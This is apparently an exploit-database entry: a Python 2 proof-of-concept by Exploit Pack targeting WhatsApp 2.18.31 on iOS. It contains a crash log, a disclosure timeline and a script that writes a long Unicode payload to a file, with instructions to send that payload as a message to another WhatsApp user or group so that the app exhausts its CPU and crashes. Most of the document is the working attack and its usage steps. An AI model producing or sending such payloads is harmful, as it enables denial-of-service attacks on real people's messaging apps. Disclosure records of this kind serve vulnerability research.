WhatsApp 2.18.31 - Memory Corruption

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Author: Juan Sacco <[email protected]> at Exploit Pack
- http://www.exploitpack.com
# This vulnerability has been discovered and exploited using Exploit
Pack - Framework
#
# Tested on: iPhone 5/6s/X iOS 10 and 11.3 ( Latest release of iOS at
the date of writing this code )
#
# Description:
# WhatsApp 2.18.31 and prior are affected. The application fails to
properly filter user-supplied input and its prone to a remote memory
corruption.
#
# Impact:
# Resource exhaustion attacks exploit a design flaw. An attacker could
exploit this vulnerability to remotely corrupt the memory of the
application forcing an uhandled exception
# in the context of the application that could potentially result in a
denial-of-service condition and/or remote memory corruption.
#
# Debug:
# B04500954836","name":"WhatsApp"}
# Date/Time:       2018-04-06 18:15:30.608135 +0200
# OS Version:      iPhone OS 11.2.6 (Build 15D100)
# Architecture:    arm64
# Report Version:  19
# Command:         WhatsApp
# Path:
/private/var/containers/Bundle/Application/2F86B692-D9A3-4BAC-B45E-6DCF62F47C2C/WhatsApp.app/WhatsApp
# Version:         2.18.31 (2.18.31.32)
# Beta Identifier: 4CA20191-C4A3-4920-ADEB-9ABAD10FCDF7
# Parent:          launchd [1]
# PID:             28010
# Event:           cpu usage
# CPU:             144s cpu time over 145 seconds (99% cpu average),
exceeding limit of 80% cpu over 180 seconds
# Action taken:    Process killed
# Duration:        144.81s
# Steps:           48
# Hardware model:  iPhone7,1
# Exception Type: EXC_CRASH (SIGKILL)
#
# How to use this exploit:
# Send the payload as a message to a whatsapp user, trough a phone or
whatsapp-web.
#
# Timeline:
# Date and time of release: 6 April 2018
# Triaged by Facebook: 25 April 2018
# Reported to Apple ( it's a bug on their side ): 01 May 2018
# Vendor homepage: http://www.whatsapp.com / http://www.facebook.com

import sys
reload(sys)

def whatsapp(filename):
    sys.setdefaultencoding("utf-8")
    payload = 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⯑⯒⯬⯭⯮⯯ⰀⰁⰂⰃⰄⰅⰆⰇⰈⰉⰊⰋⰌⰍⰎⰏⰐⰑⰒⰓⰔⰕⰖⰗⰘⰙⰚⰛⰜⰝⰞⰟⰠⰡⰢⰣⰤⰥⰦⰧⰨⰩⰪⰫⰬⰭⰮⰰⰱⰲⰳⰴⰵⰶⰷⰸⰹⰺⰻⰼⰽⰾⰿⱀⱁⱂⱃⱄⱅⱆⱇⱈⱉⱊⱋⱌⱍⱎⱏⱐⱑⱒⱓⱔⱕⱖⱗⱘⱙⱚⱛⱜⱝⱞⱠⱡⱢⱣⱤⱥⱦⱧⱨⱩⱪⱫⱬⱭⱮⱯⱰⱱⱲⱳⱴⱵⱶⱷⱸⱹⱺ'
    sutf8 = payload.encode('UTF-8')
    finalPoC = payload*6
    print "[*] Writing to file: " + filename
    open(filename, 'w').write("\n".join(payload))
    print "[*] Done."

def howtouse():
    print "Usage: whatsapp.py [FILENAME]"
    print "[*] Mandatory arguments:"
    print "[-] FILENAME"
    sys.exit(-1)

if __name__ == "__main__":
    try:
        print "[*] WhatsApp 2.18.31 iOS - Remote memory corruption"
        print "[*] Author: [email protected] - http://exploitpack.com"
        print "[*] How to use: Copy the content of the file and send
it as a message to another whatsapp user or group"
        whatsapp(sys.argv[1])
    except IndexError:
        howtouse()